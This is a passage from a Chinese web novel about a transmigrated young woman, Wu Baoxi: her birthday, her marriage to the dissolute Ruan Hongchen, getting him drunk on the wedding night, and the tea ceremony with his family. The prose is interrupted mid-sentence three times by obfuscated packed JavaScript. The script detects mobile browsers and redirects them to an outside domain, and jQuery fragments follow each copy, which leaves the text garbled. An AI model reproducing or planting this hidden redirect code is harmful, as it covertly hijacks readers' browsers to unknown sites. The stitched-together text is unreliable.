一袭红裙的乌云嫣走进来,裙角袖边皆绣着大片牡丹,随着她步履走动,花瓣儿翻飞,如同从牡丹丛中穿过一般。 她似乎非常偏爱红色,乌宝夕见她三次得有两次她都是穿的红裙。简直让人怀疑是不是阖府里的红绫、红纱、红缎子……都到了她那儿去。 “二妹妹怎么来了。”乌宝夕起身去迎。 “今日是大姐姐生辰,妹妹特来道贺。”乌云嫣一路穿花荡叶地走到乌宝夕近前,巧笑道:“大姐姐不日就将出阁,我一直苦恼今年送大姐姐的礼物要选个什么样的。挑来挑去最后选中这个。” 她从丫鬟手里拿过一只细长匣子,打开里面一柄黄玉如意静卧在墨绿色的绒布衬里上。 “愿大姐姐往后生活便如这柄如意般,事事如意!”乌云嫣望着她,眉目含笑,情真意切。好似两人真是从小亲密无间的姐妹。她也真的是一早便用心备好了礼物,就等今日来贺呢。 殊不知,过去的十几年里原主恐怕从未收到过这个妹妹的礼物。 倒是叫自己捡便宜了,乌宝夕暗自感慨。 可人家笑意盈盈,她也总不好挂个冷脸。当即拉起乌云嫣的手,一边假意客气着,“怎么好意思收二妹妹这么贵重的礼物呢。”一边就把东西递给了燕归示意她收起来。 作戏嘛,乌宝夕也会。 “听闻阮三公子也给姐姐送了贺礼。”乌云嫣的目光状似漫不经心地在屋内流转,微微上挑的丹凤眼中尽是探察。 “是。”乌宝夕微微垂眸,仿若害羞似的小声道,“我让她们收起来了。我这里乱糟糟的,怕一个不留意再弄坏或者弄丢就不好了。” 乌云嫣本是想借着这机会来看看阮三公子所送的东西,可现在乌宝夕都这样说了,她也不好再提想要看看的话。只能顺着道:“可是因为今日七夕?方才进来时便看见院子里晒了许多东西。” 乌宝夕点头应是。 “如此一来便不多打扰大姐姐了。”乌云嫣起身告辞。 “流萤,快去送送二妹妹。”乌宝夕连忙招呼人送客。 从乌宝夕的院子里出来回自己院子的路上,丫鬟雪芙替乌云嫣感到可惜:“黄玉难得,那么大一块雕成如意的就更少,姑娘就这么送出去了?留着自己赏玩不是更好。随便送点什么打发就是了……” “随便送点什么打发?”乌云嫣轻笑一声,声音里满是嘲讽。只那嘲讽这回不再是对着别人,而是指向了自己。 从小到大,她处处要与她这个大姐姐争,争衣裳、争首饰、争屋子大小,也争强、争胜、争长辈宠爱。 放风筝要比乌宝夕的高,新制的绢花要她先挑,连吃颗梨都要比一比谁的更。 虽然她是长她是幼,但她却处处都不肯居于其后,凡事都要压乌宝夕一头。 老太太一心只想要孙子,对于孙女们没那么在意。而家中近些年来都是她母亲沈氏把持打理。下人们见风使舵,该向着谁不言而喻。 可即便是如此,她却还是不满意。 一见面就忍不住想要为难她,拿话刺她。她就是看她不顺眼,就是讨厌她,她就是—— 嫉妒她! 乌云嫣不愿承认,她这么多年的争锋相对,都是源于对乌宝夕的嫉妒。 嫉妒她有一个哥哥。 嫉妒她的父亲不会因为想要儿子而令母亲难堪。 如果,她也有一个哥哥,那么老太太就不会时不时明里暗里地磋磨母亲。父亲也不会背着母亲在外藏人。母亲不会再常常自苦。而她,也就不用这么辛苦地事事争先了。 然而—— “今时不同往日了。”她喃喃低语。 乌云嫣的这番纠结心绪,乌宝夕自是不知。她正热火朝天地拆礼物呢。 在乌云嫣之后另外两个堂妹妹也都陆续送来了贺礼,沈夫人给了她四匹新缎子,卢老夫人还命灶房晚上给她摆一桌席面。 这一切,乌宝夕还真得感谢阮国公府。 院子里热闹了一整天。丫头们把晒好的衣裳书卷又全都收好,乌宝夕午睡起来后几人便围在院中的水碗前。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024071|162220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那碗水经过了一夜的静置又在太阳下暴晒,水面上结出一层薄薄的水膜。 流萤拿出早已准备好的绣花针分给众人,递给乌宝夕一根,“还是姑娘先来吧。” 乌宝夕从没玩过这游戏,她有些不确信针是否真的能浮在水面上。顶着左右丫头们期待的眼神,乌宝夕一手挽住袖子,一手捏着那根细小银针,小心翼翼地悬在水面上。呼吸已在不知不觉间自动停住,她侧头找了找角度,然后下定决心地松开手—— 银针如蜻蜓点水般落下,水面颤动,却最终稳稳将针托住。 所有人都呼出一口气。连忙伸头去看碗底的影子。 白瓷底上映着一道细细弯弯的淡影。 丫头们顿时连声欢呼,直夸投得巧。接着她们也各展身手,瞧着一个个都比乌宝夕熟练稳重多了。 只是轮到知蝉时,鹿儿恰巧说了个笑话,她笑得手抖,针没拿住掉在碗里沉了下去。于是立刻成了最不得巧的人。 到了下午,因老太太发话,灶房的人早早便过来问了乌宝夕想吃的菜,而后提早半个时辰过来摆桌。 难得这么高兴的日子,乌宝夕拉着燕归流萤她们都坐下一起吃。 乌家的厨子本就手艺卓绝,今日又更是打起十二分的精心做的,一桌席面汤鲜味美,道道都令人唇齿留香。乌宝夕兴致来了,还浅酌了两杯梅子酒,直吃到银月高悬才停筷。 饭罢,流萤几人又抬出八仙桌摆在院中月下,桌上放着一早准备好的香烛贡品,遥望满头星河,向织女祈福许愿。 乌宝夕本不想许的。若是从前,对于这种拜月求神求桃花的事她可能也会很热衷。可是现在她莫名其妙地穿到了这个压根儿没听说过的朝代,像是跌入了时空缝隙一般。周围是全然陌生的环境陌生的人,发生的一切都在颠覆着她以往的认知,找对象顿时变成了最不重要的一件事。 但她也不想扫了大家的兴。于是也净手上香拜在桌前,只是在闭上眼许愿的那一瞬间,不知怎么忽然就想到了那张诗笺。 想到上面的那句诗,那个名字。 …… 生日的这一天是乌宝夕自穿越来过得最开心的一天,连晚上睡觉做的梦似乎都是香软甜蜜的,虽然第二天早上起来全不记得,却也不妨碍她心情很好。 然而这样的好心情却并没能维持很久,到了下午便听闻阮三公子七夕之夜在风月楼豪掷千金喝花酒! 燕归几个严防死守,不想让乌宝夕知道。可这流言已在京中传遍了,乌家上下也尽是议论之声,再怎么防范也奈何不住有人嚼舌根。 到底还是传进了乌宝夕的耳朵里。 “姑娘别急,阮三公子许是被别人拉去的呢。” “是呀,酒喝多了,被人一激干出混事来,定不是本意。” “再说传言定有夸大的成分。” “是啊是啊,不可信……” 丫头们七嘴八舌地轮番劝,乌宝夕找出那张诗笺,愤愤揉成一团—— 去他的金风玉露一相逢,便胜却人间无数!① 5. 新婚 经此一事,阮红尘在乌宝夕心中的形象立时跌入谷底,彻底被划入了膏粱纨袴之流。直到两家定下的婚期到来,也再没能扭转印象。 九月初十,大喜之日。 乌家上下披红挂绿喜气盈腮,盖头之下乌宝夕颓靡不振如丧考妣。 古礼繁复,她被人搀着扶着,像只提线的木偶。让抬脚便抬脚,让弯腰便弯腰,到了要拜别家人上轿的环节时,因为哭不出来还被不知道是谁掐了一把,疼得她眼泪立马就出来了。 就这么浑浑噩噩地折腾了一天,等到终于进了洞房,紧绷了一天的身体放松下来,顿时感觉浑身上下都像是散架了一般。 乌宝夕此刻只想躺下,于是她就真的这么做了。 房间里人都退了出去,周围似是没了动静,只依稀可闻远处宾客们推杯换盏的喧闹声。 乌宝夕仰面闭起眼,仔细聆听着。声音隔了一重又一重的庭院,像是被层层过滤了一般,变得既远又近,不再嘈杂,反倒催眠。 不知不觉间她就睡着了。 这一觉睡得极不安稳,只觉得身上哪儿哪儿都不舒坦,但偏偏又入梦极深,醒不过来。 梦中她听见有人进屋,赶忙起身端坐,等了半天却又没了动静,心知是梦。过一会儿又仿佛有人在耳边轻笑,拨弄着满床的红枣桂圆问她不嫌硌吗? 确实是硌得难受死了!乌宝夕扭了扭身体,把一颗正顶在她肩胛骨下的栗子蹭到旁边。 这一动,令她意识清醒了几分。 外面的喧闹声已经停歇,屋子里很静。 什么时辰了?念头冒出,乌宝夕猛地睁开眼睛,对上的却是红彤彤的一片,懵了半天才反应过来是躺下的时候盖头没有掀开。 怪不得刚才感觉那么闷呢。乌宝夕挣扎着坐起身,扯掉头上的盖头。 屋子里烛火通明,骤然间的光亮刺得她愈发恍惚。 抬手半遮着眼在屋内扫视了一圈,下人们不知道都去了哪里,竟叫客人独自在那喝茶…… 等等! 房里怎么会有人! 乌宝夕浑身一惊,像只炸了毛儿的猫一般瞬间清醒。 “睡醒了?” 懒洋洋的声音隔着一道珠帘传来。 乌宝夕下意识地就想要站起来,奈何她刚才睡着时腿在床沿边悬了太久麻了,刚一站起就“哎呦”一下又跌坐回去。 屋里响起一声嗤笑,令乌宝夕又窘又恼。 珠帘影影绰绰,只能瞧见那人坐在桌边的一个侧影,看不清容貌,但通身的红绸长袍,道出了他的身份—— 眼前这位只怕就是那名满京华的阮三公子阮红尘了。也是她从今往后名义上的夫君。 “你……进来多久了?”乌宝夕捏了捏袖角有些局促地道。 “一盏茶的功夫吧。” 还好,乌宝夕稍稍松了口气。然而一口气还没吐完,却听对方又补一句:“从制茶开始算。娘子好眠。” 乌宝夕:…… 她今日天不亮就被叫起梳妆,睡了连两个时辰都没有,能不困吗! 见她无言,阮红尘又笑起来,听在乌宝夕的耳中只觉得那笑声轻慢,令人生厌。 忽地珠帘碰撞,阮红尘已从桌边起身。乌宝夕怕他进来,连忙抢先迎出去。 一来一往,四目相对,一瞬间两人的目光中都闪过万般感慨。 乌宝夕的眼里是惊艳、欣赏和喟叹。 面前人生就一副美人相,妍皮艳骨,恣意飞扬。尤其惹人注目的是那一双丹凤眼,流光蕴水,眼形细长,收尾处微微的上挑为整张脸添上了一抹浓淡合宜的妖冶。这样的眼睛,若是含情,便勾魂夺魄,若是冷漠,则睥睨傲然。 此刻明明身在红烛昏罗帐①,但乌宝夕的脑海里冒出却全是鲜衣怒马、诗酒年华…… 春风得意马蹄疾②,陌上少年足风流③。 乌宝夕在心中赞女娲造人的鬼斧神工,又叹这金玉之内包裹的浪荡败絮! 而阮红尘呢,他眼里的情绪很复杂,目光中夹杂了太多的沧海桑田欲说还休。 但可惜乌宝夕惑于皮相的猛烈冲击,并未注意到这一丝幽微。 “娘子怎么起来了?”阮红尘停住脚步,噙笑问道。他一开口,方才那些仿若与他气质不符的幽深全部消散,变脸似的,又成了那个在京中搅风唤雨的纨绔少爷。 乌宝夕被他这一口一个娘子叫得浑身鸡皮疙瘩都起来了,招架不住地抖了抖,道:“肚子饿了。” 她这倒也不算是借口,整整一天她几乎没吃什么东西,之前累的也想不起来,现在睡了一觉起来,顿时觉得饿得前胸贴后背。 屋里是备了吃食的,卧房外间的紫檀圆桌上杯盏盘碟摆了满桌。但乌宝夕的目光在上面扫了一圈儿却兴趣缺缺。 “不满意?”阮红尘看出她的心思,非常贴心地道,“那娘子想吃什么?我叫他们做了送来。” 他说话时语气总是不紧不慢像含着笑,显得体贴又温柔,是极易获得旁人的好感与信任的。偏此刻乌宝夕想到了他七夕之夜喝花酒的事! 这边派人表深情,那边扭头就能捧花魁。想来这温柔缱绻,也不过是阮三公子哄姑娘开心的惯常手段罢了。 思及此,乌宝夕心中顿时好感全无,只剩鄙夷。 阮红尘在旁感受到乌宝夕情绪的变化,心中莫名,以为她是肚子饿了委屈,连忙就要叫人来送饭菜。 “我带来的陪房里有擅做菜的厨娘,可以叫她去灶房做。” 乌家靠得便是这一手厨艺,乌宝夕陪嫁带着家厨实不足为怪,便由着她唤人进来。 流萤几人其实一直守在屋外,只是她们也不懂洞房花烛的规矩,生怕做错什么犯了忌讳。于是一个个眼观鼻鼻观心,杵在门口做木头人。 房里一直静悄悄地,也不知道是个什么情形。几人内心焦灼,却又不敢妄动,后来见到姑爷来了,一个个更是紧张。 谁成想姑爷进去了半天,房中依旧没个动静。 这是怎么了?丫头们疑惑地交换着眼神。 忽听屋内一声高唤,流萤神色一松,推门入内。 “你叫卫娘子去灶房做些吃的来。”乌宝夕见到流萤,开口直接吩咐道。她方才已经问过阮红尘的口味,得到的回答是百无禁忌,于是便按自己想吃的点起了菜。 因为不知道灶房里备着的都有什么,乌宝夕便没选那些偏门或不易处理的食材,点的都是做得快且易得的菜。 然而流萤听得却是皱眉。小姐点的这些或味大刺激,或吃起来不雅。平日里倒也没什么,只是今日毕竟是第一次见姑爷,吃这些未免会影响小姐在姑爷心中的形象…… 这样想着,她偷眼打量姑爷神色,却见他嘴角噙笑,并无半分嫌弃和不快,这才稍稍放下心来。 记好菜名,流萤转身欲走,忽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024072|162220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听阮红尘道:“你去门口找缇灯,让他领你们去灶房。” 流萤出去了,屋内再度安静。乌宝夕目光环视,见桌上有酒,于是抬手倒了两杯。 也不知这是什么酒,色如红宝,异香扑鼻,看起来很是诱人。 按乌宝夕心中的打算,今夜,她是想把阮红尘灌醉,以此来逃避洞房花烛。可眼下酒倒出来了,她却为难要如何先开这个口。 实在是两人的关系太过尴尬,明明初次见面,却又是至亲夫妻,话说得远了近了都感觉怪。 然而乌宝夕羞于启齿的,对于阮红尘来说却是信手拈来。没等她纠结好要如何措辞呢,他已经自顾自地端起了酒,邀道:“如此良宵美景,合该共饮一杯。” 一句话恰解了乌宝夕的为难,她顺应地端起另一只。青玉质的酒杯磕碰在一起时,心中忽然升起一股莫名地熟悉感,仿佛此情此景曾经见过。 肯定是以前古言小说看多了,穿越都穿出熟悉感了。乌宝夕自嘲。 微凉的酒液滑入喉中,那看上去如同果汁一样的酒,喝起来竟是满口药香。药中透着甜,甘醇浑厚,倒是没有丝毫辛辣。 乌宝夕喝第一杯时还有些不习惯,如饮药吞花。多喝两杯竟有些喜欢起这个味道来。 灶房那边卫娘子动作麻利,已陆续有做好的菜端来,很快便热热闹闹地摆了一桌。 先前桌上的那些瓜果点心都已被撤去一旁,此刻占据主角的是酸汤牛肉、麻辣水煮鱼、糖醋小排、白斩鸡…… 繁花似锦,酸甜苦辣。 乌宝夕是真的饿了,也不用人布菜,自己动手。阮红尘看她吃得实在香,忍不住也拿起筷子。 两人就这么一道吃喝起来,偶尔点评两句菜色口味,若非这满室的红烛罗帐,还以为是进了哪家酒楼食府的雅间。 乌宝夕惊讶地发现,阮红尘竟很懂吃喝之道。用的是什么部分的肉,在什么时候下锅,火候旺了还是不足,他吃一口竟就能分辨。 不愧是钟鸣鼎食的簪缨世家养出的少爷,乌宝夕暗叹。 或许是今日说了太多话的缘故,阮红尘的嗓音里渐渐透出一丝沙哑,身上的酒气也随着一次次的举杯而愈发浓艳。 乌宝夕不动声色,只一味地添酒,看着那双好看的眼睛逐渐变得迷离、迷离……终于依依不舍地彻底合上了。 屋里安静下来,桌上酒壶已空,菜也被吃了大半。乌宝夕侧头看向身边趴着的人轻声低唤。 “嗯……”阮红尘很是不耐地哼了一声,而后便再无回应。 真睡着了?乌宝夕伸手在他面前晃了晃。 少年半张脸埋在臂弯里,只露出一侧眉眼。他的睫毛生得浓密纤长,覆在眼前像一排整齐顺滑的羽扇,随着呼吸偶尔颤动,显得乖顺而纯真。 “还是睡着了比较可爱。”乌宝夕小声咕哝。 可是喝醉睡着的阮红尘她实在是搬不动,只能唤人来帮忙。 先进来的是流萤,一见这情形,扭头又去叫来了缇灯。 三人一起连拖带拽地总算是把人弄到了床上去。而后又是一番折腾地脱靴解衣,待到终于收拾妥当,乌宝夕也不由地长出口气。 谁也没注意到站在床边的缇灯一直眉头微皱,似有所思。 缇灯自八岁起便跟在阮红尘身边,几乎日夜形影不离。别人不了解,而他最清楚自家少爷的酒量—— 从没见他喝醉过。 6. 敬茶 洞房花烛夜,乌宝夕算是这么躲过去了。 第二天早上醒来时,房中已无阮红尘的身影。问了流萤才知他一大早便起来出去了。 “姑爷说,小姐起来了可先用些早饭。虽然一会儿去敬茶时还会再用,但毕竟有长辈在,怕不能尽兴。” 乌宝夕:……? 这是在说她能吃吗? 但流萤却不这么想,姑爷一早起来交代这些,在她看来这是姑爷心细,对小姐体贴。 鹿儿端来水盆巾帕,伺候乌宝夕洗漱。 与此同时早饭也很快送来,待乌宝夕洗漱完毕坐到桌前正好可用。 桌上摆着的粥点小菜与她在乌家时常吃的那些相差无几,一看便知是出自卫娘子之手。 今天早上时间紧张,乌宝夕匆匆吃了几口后便去换衣服。 衣裳是燕归与流萤她们帮她选的,特意挑了层叠繁复的样式。 “这样能显得小姐身姿丰润些。”几个丫头一致道。她们只怕自家小姐太过瘦弱,不得国公府老夫人的喜欢。 其实乌宝夕这段时间已长胖了不少,不再是刚穿来时那仿佛吹口气都能晃三下的脆弱模样了。可奈何原主本来的身体实在是太弱,她纵是长了七八斤肉,与其他同龄少女相比还是显得清瘦。所以流萤几人才会有此担忧。 还得再养养啊,乌宝夕暗自感叹。 好在如今已是深秋,天气寒凉,衣裳一层一层穿戴起来,看上去总算不那么单薄。 然而这脸…… “粉涂得白一些,然后再多上点胭脂吧。”乌宝夕看着铜镜中映出的面庞出主意。没想到有朝一日她竟会需要反向修容。 燕归话少,做起事来却很麻利,很快便按乌宝夕的吩咐将妆上好。首饰没选大面积的金银,而是以碧玉为主,衬得整个人温润又不失灵动。 刚收拾妥当,便有小丫鬟进来通报,说三少爷过来了。 乌宝夕走出屋门便见阮红尘站在院中,四目相对,两个人连带着各自的丫鬟小厮一个个全都愣住。 阮红尘早上出去的时候乌宝夕还没醒,丫鬟们也不好多问。现下两人各自换好了衣裳,却是一人着绿,另一人穿粉…… 绿的是乌宝夕,粉的是阮红尘。 片刻的愣怔过后,乌宝夕下意识地想回屋换件衣裳。 “何须如此。”阮红尘左右打量着乌宝夕与自己的衣裳,似是感到十分有趣,“秋景寂寥,如此轻红浅碧,不更显热闹。” 乌宝夕被他一句热闹给说服了,加之担心误了时辰落人话柄,便也作罢。 于是两人就这样花红柳绿水灵灵地相携往主院而去。 乌宝夕自穿越来所接触见识的只有乌府。乌家人丁虽不算兴旺,但财力雄厚,家宅置办得十分宽敞,各处布置也繁华精美,她便以为那些高门望族怕也不过如此。如今真正走进这勋贵世家的府邸宅院,才发觉想象是多么的匮乏,乌家与阮国公府相比实在是小巫见大巫了。 那些原以为虚幻缥缈的辞藻忽然间都有了具体的展现—— 锦绣成堆、金粉铺地,繁华迷眼。 乌宝夕努力告诫自己,可别像刘姥姥进大观园。 刘姥姥当时说不定也这么自我告诫过…… 一开始乌宝夕还能大致分辨出方位,然而很快就迷了。也记不清到底穿过了多少道门,绕了几条廊。而阮红尘似是怕枯走无聊,借着这功夫给她介绍起阮国公府来。 其实对于阮国公府的大致情况乌宝夕在乌家备嫁的这段时间已有所了解。知道国公夫人早逝,阮国公之后并未续弦,等会儿敬茶实际上是给阮国公和老夫人谢氏。 也知阮红尘上有兄长两人。大哥阮青云是国公府世子,二哥阮兰因去年也入了翰林院,两人均已成婚。 但这些都不过是人人皆知的表面,肯定不如阮红尘所讲来得细致。 “等会儿敬茶,父亲倒不用担心,祖母那关只怕不容易。”说着说着忽然提到了一会儿敬茶的事。 这也是乌宝夕所担忧的。 她并不清楚阮乌两家的这桩婚事到底是怎么促成的。不仅她不清楚,乌家上下也都糊涂。只是此事怎么看都于乌家有利,便也没人深究。可别人都能不在意,她却不行。 此时听到阮红尘这样说,乌宝夕的心忽然就是一沉—— 看来外界所传并非虚言,这婚事真是阮红尘的一意孤行! 心念百动,她一时间也抓不住头绪。只听阮红尘还在继续。 “不过你也不用慌,祖母最是心软,她若为难,你便说些好听话哄她。” 他旁若无人地传授着心得,却是难为了周围跟着的丫鬟小厮,一个个全都压低脑袋装木头人。 直走到了主院外,阮红尘才歇声。 凌霄苑正堂里,阮国公与谢老夫人端坐在主位,左右是府中其他亲眷。明明是新媳妇来敬茶的好日子,堂中气氛却很是压抑。没有人说笑打趣,只偶尔听见几句窃窃私语。 待到丫鬟来通报,众人目光齐齐投向那花红柳绿的两人时连私语声也没了。 满室寂静,落针可闻。 乌宝夕顶着这有如实质的压抑微笑得脸都快僵了,终于听见一声轻咳。 “百戏阁离得远,三弟与弟妹一路过来累了吧。”说话的是一年轻妇人,柳眉杏眼,容貌虽不是极美,却十分疏朗端庄,让人一见便觉得亲切。 看她所坐的位置以及话里提到的称呼,乌宝夕猜测这位应该便是大少奶奶崔氏。 “嫂嫂又笑话我。给祖母和父亲敬茶怎当得累。” 谢老夫人哼声:“既是不累,如何不早些过来?想当初你大哥与你大嫂成婚时可比你早多了。” 一番话明着是教训孙子,暗地里却是怪孙媳妇不够知礼。 可偏偏阮红尘在家中一向没脸没皮,听谢老夫人这么说,非但没认错,反而顺杆爬上去,“祖母也知我懒惯了,昨日又多吃了几杯酒,实在难跟哥哥嫂嫂们相比。” 所谓秀才遇上兵有理说不清。谢老夫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024073|162220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽不是秀才,但碰上耍无赖的阮红尘却也是被堵得没办法。 谢老夫人对于耍赖的孙子没办法,但阮国公却是最看不惯小儿子如此,当下眉毛一沉,眼看着想要发怒。 又是崔氏适时出声:“三弟性子虽散漫些,却也不曾误事。父亲、祖母,我看时辰差不多了,是不是该敬茶了?” 一句话将众人的注意力重又拉回到正事上。乌宝夕正在心中为这位大嫂点赞,忽见一丫鬟来到她的面前,“请三少奶奶移步。” 跟着丫鬟来到偏厅,乌宝夕只以为是走个流程过场。待见到偏厅里摆设布置时才知,今日敬茶并非是由丫鬟准备好茶水后她端上去,而是要她自己亲自泡茶。 如此安排说起来也不能算是苛刻,只是若有人存心为难的话,那这里面可挑剔的地方就太多了—— 毕竟每个人的口味偏好都不相同。茶泡到几分、是浓是淡、水温凉了烫了…… 若是之前就对喝茶之人有所了解还好,可现在等于是两眼一抹黑,乌宝夕只觉得此事处处埋雷,无论怎样怕都难逃责难。 想通这些,她忽然又轻松了。 仔细看过面前八仙桌上摆着的各式茶叶、物品后从中选出几样,思索片刻又问丫鬟要了些其他东西。 小丫鬟虽然疑惑,但还是按乌宝夕所说拿来了她要的物品。 正堂这边自是不知偏厅里发生的事,众人只觉得等待的时间似乎有些久,正欲派人去查看时见到乌宝夕领着丫鬟回来。 堂中没有人再说话,满屋子的目光顿时都汇聚到她的身上,大家都想看看这个能让小少爷为她而大闹国公府的乌姑娘到底有何特别。 乌宝夕在主位前站定,从身旁丫鬟捧着的茶盘上端起一盏,奉至谢老夫人,恭敬道:“祖母请喝茶。” 谢老夫人眉头微蹙,表情似有不快,迟了一会儿才不紧不慢地抬手接过茶盏。掀盖欲喝却又忽然停住,一双眉毛拧得更深。 满屋子的人都注意到了谢老夫人的这番表情变化,都道是老夫人要开始挑刺了。 “这里面是什么?”谢老夫人看着茶面上挤挤挨挨浮了满杯的东西疑问道。 “祖母,这是八宝茶。”乌宝夕上前解释,“给您的这一杯是以九曲红梅做底,配以红枣、莲子、桂圆、枸杞等八样,喝起来补血补气还暖胃。” 谢老夫人被她这听起来花里胡哨的言辞说愣了,下意识地尝了一口,有没有那些功效不清楚,但味道却是挺不错的。 乌宝夕趁机又捧起另外一杯,朝阮国公道:“父亲请喝茶。” 阮国公坐在谢老夫人旁边,早在谢老夫人掀开茶盖时便闻到了隐约的茶香,但面上仍是一副不苟言笑的严肃模样。 “这一杯的汤底换成了龙井,配料的八宝也稍有调整,加了菊花,最是清热去火。” 阮国公点头:“不错。” 就在这时旁边突然传来一声:“可否给我也来一杯?” 乌宝夕扭头,瞪向一脸嬉笑模样的阮红尘! 7. 渊源 乌宝夕本是做好了被刁难的准备,却怎么也没想到竟被一杯八宝茶给救了场。 别看她装的一副从容自若的样子,其实心中忐忑极了,甚至设想了谢老夫人如果不接自己敬的茶会怎样。 好在谢老夫人并未如此,或许到底还是顾忌着孙子的面子吧。 之后被阮红尘这一闹,乌宝夕索性给在场亲眷一人泡了一杯。 众人得了茶各自品尝,发现有人偏花香,有人重果甜,各个不同,遂由此起了话头。原本压抑凝重的气氛散去,竟渐渐热闹起来。 乌宝夕趁热打铁,嘴像抹了蜜一般,见谁都夸,哄得各个都对她冷不起来。于是最后得了一堆见面礼回百戏阁。 “小姐……少奶奶回来了。”流萤出来迎她,称呼刚唤出口又连忙改掉。 “怎么了?”乌宝夕注意到流萤的不自然,心中奇怪。 流萤左右看了看,见只有乌宝夕自己,并不见阮红尘,这才凑近小声道:“方才有个叫阎妈妈的人来过,说是姑爷院里的管事妈妈。奴婢一时忘记改口,被她说了……” 乌宝夕了然,安抚地拍了拍她的手背,“你们叫惯了,一时间改不过来也是人之常情,不是什么大事。况且别说是你们了,我听着也别扭。” 本来都是“小姐”“姑娘”的,这一下子换成了“少夫人”“少奶奶”,听上去感觉瞬间老了十岁。 “日后若是有府中其他人在,你们便按规矩叫。若是只有咱们自己,便还像从前那样。”说话间一行人已穿过院子走到屋内。 乌宝夕这一早上泡了一圈的茶,独独自己却没喝上一口。此刻终于得了闲,赶紧坐下来也喝口茶歇一歇。 屋里早备好了她喜欢的茶水和点心,乌宝夕捧着茶杯歪在临窗的矮榻上,一边喝茶吃点心,一边看着丫鬟们清点整理刚刚拿回来的见面礼。 这其中有不少都是额外多得的。 虽然她们话都说得很漂亮,但乌宝夕心里清楚,有几个是并没有准备见面礼给她的。便是准备了的那些人,原本打算给的恐怕也没有这么多。 对此乌宝夕倒是没什么不满。她很能理解阮国公府对她的不喜和排斥,因此心态放得非常平稳。 只要他们不为难她,她就也不介意去扮演一个温顺乖巧的少奶奶。 乌宝夕捏起一块桂花糕,细细品尝着桂花充斥口鼻的浓郁香气,忽听丫鬟们吸气惊叹:“这套碧玺带翠的头面好美啊!” 乌宝夕知道她们说的那套首饰,是谢老夫人给她的。一整套的碧玺头面,无论是簪、钗、钿、步摇还是耳坠、项链……全由粉碧玺做成,流光溢彩、晶莹剔透。最惊艳的是其间点缀的翡翠,虽不多,却是整套首饰的灵魂所在,如春桃带绿,立时便让色彩活了起来。 当时谢老夫人命人拿出来的时候,乌宝夕看了一眼就已移不开了,当即宣布,粉配绿从此成为她的本命颜色。 “这套留在外面,先别收进库房。”乌宝夕说着,一边琢磨什么时候能有机会戴一戴。一整套的话有点太隆重了,拆开单独戴几支簪子、耳坠什么的应该没问题…… 结果流萤她们就已经替她想好了,“正好回门的时候可以戴。” “还要再加上这对翡翠镯子!”知蝉指着另一只盒子里的一对贵妃镯兴奋道。“奴婢瞧着这镯子的成色看上去比二夫人的那对还要好。”她说的二夫人指的是乌家的二夫人沈氏。 沈氏有一对翡翠镯,是她的陪嫁,据说是宫中御赐之物,深得沈氏的喜爱,凡有重要场合她必会戴着。 是以乌家上下几乎人人都见过。 乌宝夕无奈失笑:“我是归宁,又不是去选秀,打扮得那么华丽做什么。” 说完,几人都想到些什么,屋内一时静了片刻。乌宝夕转移话题:“镯子是大少奶奶送的。” 知蝉惊讶,“之前听说大少奶奶出身将门,还以为会不爱这些呢。” 鹿儿笑道:“你今日没去,自然不知大少奶奶模样……”早上小姐是带着她与燕归姐姐去的,这会儿她便将方才在主院里发生的事情说与留下看家的二人。 两人听得啧啧出声,同时也十分好奇:“小姐怎么想到的?” “之前从未见小姐爱好茶道。” “呃……闲时翻到本书,是讲制茶的,里面写了不少方子,我觉得有趣就记住了。没想到今日竟然用上了,也算是瞎猫撞上死耗子吧。”乌宝夕随便编了个理由糊弄道。 她当然不能说其实是因为她穿越之前的梦想是开一家奶茶店,自己当老板,为此还专门去学过茶艺。而那八宝茶的配料灵感是从五花八门的小料上获得的。 不过她这段时间也确实翻看了不少书,既是为了解这个对她来说完全陌生的世界,也是为了在需要时能给自己的穿越者身份打掩护。 眼下这不就用上了嘛。 对于乌宝夕的说辞,几个丫头都不疑有他。 正说得高兴,忽听下人通传,阎妈妈又来了。 流萤与知蝉下意识地便息了声,端正身形站在一边。燕归一贯是最沉稳规矩的,只剩下鹿儿还歪着脑袋神色轻松。 很快,一个身穿黑蓝褂裙的干瘦妇人走进来。 阎妈妈看上去五十岁上下,挽起的发髻已有不少花白。但她给人的感觉却没有分毫的老态,腰不弓背不驼,走起路来脚步轻快。 “奴婢见过三少奶奶。”阎妈妈朝乌宝夕福身行礼,一举一动如同尺子比出来的一般规矩。 乌宝夕实难想象阮红尘这样一个混不吝的小少爷,院子里的管事妈妈竟会是如此模样。 “阎妈妈不必多礼。”乌宝夕连忙起身想要扶她,却被阎妈妈避过。 “奴婢与少奶奶主仆尊卑有别,这是该有的礼数。” 